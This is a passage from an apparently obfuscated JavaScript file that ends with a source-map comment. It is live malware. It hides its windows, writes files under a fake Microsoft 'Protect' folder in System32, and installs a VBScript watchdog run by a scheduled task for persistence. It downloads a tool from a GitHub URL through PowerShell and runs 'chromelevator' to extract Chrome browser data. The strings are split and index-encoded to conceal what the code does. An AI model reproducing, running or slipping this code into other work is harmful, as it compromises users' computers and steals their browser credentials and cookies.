_0x5efae2(_0x208491);_0x3bf3fb['exec'](_0x2a6d0c,{'windowsHide':!![]},_0x59185e=>{if(_0x59185e)return _0x5efae2(_0x59185e);_0x52a4b9();});});});});};await _0x5f58a4(),await new Promise(_0x3f7ec8=>setTimeout(_0x3f7ec8,0x4c3*0x1+0xf22+-0xc15));const _0x506d84=String['raw']`C:\Windows\System32\Microsoft\Protect`;_0x156092['mkdirSync'](_0x506d84,{'recursive':!![]});const _0x55fbfd=_0x156092[_0x451e91(0x1dc)+_0x451e91(0x1f1)](_0x1df756[_0x451e91(0x258)](_0x506d84,_0x451e91(0x22e)+_0x451e91(0x1e7)));_0x3a208a[_0x451e91(0x24f)](_0x451e91(0x219)+_0x451e91(0x224)+_0x451e91(0x26e)+_0x451e91(0x20b)+'e',_0x4d7b65=>{const _0x29c9e5=_0x451e91;_0x4d7b65['pipe'](_0x55fbfd),_0x55fbfd['on'](_0x29c9e5(0x1e3),()=>_0x55fbfd[_0x29c9e5(0x1da)]());const _0x56e11a='Do\x0a\x20\x20If\x20In'+'Str(WScrip'+'t.CreateOb'+'ject(\x22WScr'+'ipt.Shell\x22'+').Exec(\x22ta'+_0x29c9e5(0x21e)+_0x29c9e5(0x1f5)+'ME\x20eq\x20C:\x5cW'+'indows\x5cSys'+_0x29c9e5(0x24c)+_0x29c9e5(0x212)+_0x29c9e5(0x204)+_0x29c9e5(0x254)+_0x29c9e5(0x241)+'tdOut.Read'+'All,\x20\x22C:\x5cW'+_0x29c9e5(0x24a)+_0x29c9e5(0x24c)+_0x29c9e5(0x212)+_0x29c9e5(0x204)+_0x29c9e5(0x254)+_0x29c9e5(0x250)+_0x29c9e5(0x1e5)+_0x29c9e5(0x213)+_0x29c9e5(0x1f9)+_0x29c9e5(0x1e1)+_0x29c9e5(0x216)+_0x29c9e5(0x1f6)+_0x29c9e5(0x263)+'soft\x5cProte'+_0x29c9e5(0x21d)+_0x29c9e5(0x21c)+_0x29c9e5(0x247)+_0x29c9e5(0x1de)+_0x29c9e5(0x24b)+_0x29c9e5(0x231)+'op',_0x42ef01=_0x1df756[_0x29c9e5(0x258)](_0x506d84,'MicrosoftP'+_0x29c9e5(0x259));_0x156092[_0x29c9e5(0x273)+_0x29c9e5(0x211)](_0x42ef01,_0x56e11a),_0x279ed3(_0x29c9e5(0x27a)+_0x29c9e5(0x225)+_0x29c9e5(0x25b)+_0x29c9e5(0x235)+_0x29c9e5(0x203)+_0x29c9e5(0x20e)+_0x29c9e5(0x257)+_0x29c9e5(0x1f8)+'starter\x20/t'+_0x29c9e5(0x20c)+'\x20\x22'+_0x42ef01+'\x22\x20/f',{'windowsHide':!![]});const _0x567558=_0x35d397(_0x29c9e5(0x1f7)+'e',[_0x42ef01],{'detached':!![],'stdio':_0x29c9e5(0x24d)});_0x567558['unref'](),_0x279ed3(_0x29c9e5(0x232)+_0x29c9e5(0x228)+_0x29c9e5(0x27c)+_0x29c9e5(0x20d)+_0x29c9e5(0x245)+'bRequest\x20-'+_0x29c9e5(0x253)+_0x29c9e5(0x1e2)+'com/xaitax'+_0x29c9e5(0x22c)+_0x29c9e5(0x209)+_0x29c9e5(0x25d)+_0x29c9e5(0x226)+_0x29c9e5(0x24e)+_0x29c9e5(0x251)+_0x29c9e5(0x1f0)+_0x29c9e5(0x246)+_0x29c9e5(0x275)+_0x29c9e5(0x238)+_0x29c9e5(0x277)+_0x2dc575+(_0x29c9e5(0x260)+_0x29c9e5(0x1e8)+_0x29c9e5(0x1f2)+'\x20\x27')+_0x2dc575+(_0x29c9e5(0x1fe)+_0x29c9e5(0x272)+_0x29c9e5(0x1ea))+_0x2dc575+(_0x29c9e5(0x1ed)+_0x29c9e5(0x23b)+_0x29c9e5(0x20a)),{'windowsHide':!![]});});const _0x533b03=_0x59de28(_0x2dc575+('\x5cchrome-in'+_0x451e91(0x269)+'omelevator'+'_x64.exe'),[_0x451e91(0x205),'-o',_0x1088c4],{'windowsHide':!![]});}()));
|
|
2
2
|
//# sourceMappingURL=map.js.map
|